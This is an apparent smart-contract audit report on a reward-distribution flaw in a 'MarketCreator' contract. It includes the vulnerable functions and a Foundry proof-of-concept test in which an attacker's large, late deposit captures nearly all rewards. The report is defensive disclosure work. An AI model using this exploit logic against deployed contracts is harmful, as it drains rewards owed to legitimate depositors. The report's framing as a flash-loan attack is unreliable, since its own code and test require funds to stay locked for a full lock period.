Summary
The MarketCreator
contract is vulnerable to a flashLoan attack. An attacker can exploit the reward distribution mechanism by depositing a huge amount of borrowed funds. This allows the attacker to claim a disproportionate share of the rewards, effectively draining the pool, which could leave legitimate users with minor or even no rewards.
This vulnerability exists because the contract fails to implement restrictions on the timing or size of the deposits, allowing attackers to attain their position relative to total deposit just before the lock period expires.
Vulnerability Details
function participateInMarket(uint256 marketId, uint256 amount) external nonReentrant {
Market storage market = markets[marketId];
require(market.quoteAsset != IERC20(address(0)), "Market does not exist");
require(amount > 0, "Amount must be greater than 0");
market.totalDeposits += amount;
UserPosition storage position = userPositions[marketId][msg.sender];
if (position.exists) {
position.amount += amount;
position.lockEndTime = block.timestamp + market.lockDuration;
} else {
userPositions[marketId][msg.sender] = UserPosition(amount, block.timestamp + market.lockDuration, true);
}
market.quoteAsset.safeTransferFrom(msg.sender, address(this), amount);
emit Participated(marketId, msg.sender, amount);
}
function redeemFromMarket(uint256 marketId) external nonReentrant {
Market storage market = markets[marketId];
UserPosition storage position = userPositions[marketId][msg.sender];
require(position.exists, "No position found");
require(block.timestamp >= position.lockEndTime, "Lock duration has not passed");
uint256 amount = position.amount;
uint256 reward = calculateReward(marketId, amount);
market.totalDeposits -= amount;
delete userPositions[marketId][msg.sender];
market.quoteAsset.safeTransfer(msg.sender, amount);
raacToken.safeTransfer(msg.sender, reward);
emit Redeemed(marketId, msg.sender, amount, reward);
}
function calculateReward(uint256 marketId, uint256 amount) internal view returns (uint256) {
Market storage market = markets[marketId];
return (amount * market.reward) / market.totalDeposits;
}
Attack Scenerio:
-
Attacker takes out a large flash loan, depositing it into the market shortly before the lock period expires.
2 .After the lock period ends, the attacker claims a disproportionately large share of the rewards due to their inflated contribution.
-
He repays the flash loan keeping the claimed rewards all to himself.
Key Functions Involved:
-
participateInMarket
: Allows users to deposit funds and participate in market
-
redeemFromMarket
Allows users to withdraw funds and claim rewards.
3.calculateReward
: This function adds to it because of the reward calaculation
(amount * market.reward) / market.totalDeposits
making the attacker get a larger reward even if deposit is temporal.
POC
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../contracts/core/pools/StabilityPool/MarketCreator.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function burn(uint256 amount) external{
_burn(msg.sender, amount);
}
}
contract FlashLoanAttackOnMarketCreator is Test{
MarketCreator marketCreator;
MockERC20 quoteToken;
MockERC20 raacToken;
MockERC20 decrvUSDToken;
uint256 initialDeposit = 100 ether;
uint256 flashLoan = 10000 ether;
uint256 lockDuration = 1 days;
uint256 reward = 100 ether;
address attacker = address(0xdead);
function setUp() public {
quoteToken = new MockERC20("","");
raacToken = new MockERC20("","");
decrvUSDToken = new MockERC20("","");
marketCreator = new MarketCreator(address(this), address(raacToken), address(decrvUSDToken));
quoteToken.mint(address(this), 100 ether);
raacToken.mint(address(marketCreator), 100 ether);
marketCreator.createMarket(address(quoteToken), lockDuration, reward);
quoteToken.approve(address(marketCreator), type(uint256).max);
marketCreator.participateInMarket(1, initialDeposit);
}
function testFlashLoanAttack() external{
vm.startPrank(attacker);
quoteToken.mint(attacker, flashLoan);
quoteToken.approve(address(marketCreator), flashLoan);
vm.warp(block.timestamp + lockDuration - 1 seconds);
marketCreator.participateInMarket(1, flashLoan);
vm.warp(block.timestamp + lockDuration+ 1 seconds);
marketCreator.redeemFromMarket(1);
quoteToken.burn(flashLoan);
vm.stopPrank();
uint256 attackersRewardBalance = raacToken.balanceOf(address(attacker));
console.log("Attacker's reward balance:", attackersRewardBalance);
assertGt(attackersRewardBalance, (reward * 99) / 100, "Attacker did'nt claim most of the rewards");
}
}
Impact
Legitimate users who deposited funds earlier receive little or no rewards as their rewards become to small compared to the attacker's reward.
Such exploits undermine user's trust, as participants may perceive reward distribution is unfair.
Frequent attacks of this nature will reduce participants and affect protocol performance.
Tools Used
Manual review
Recommendations
Ensure all deposits have a minimum lock duration, even if they're made just before the market lock period expires.
Distribute rewards based on deposit and time funds were locked. Also limit the max deposit size to prevent unnecessarily big contributions.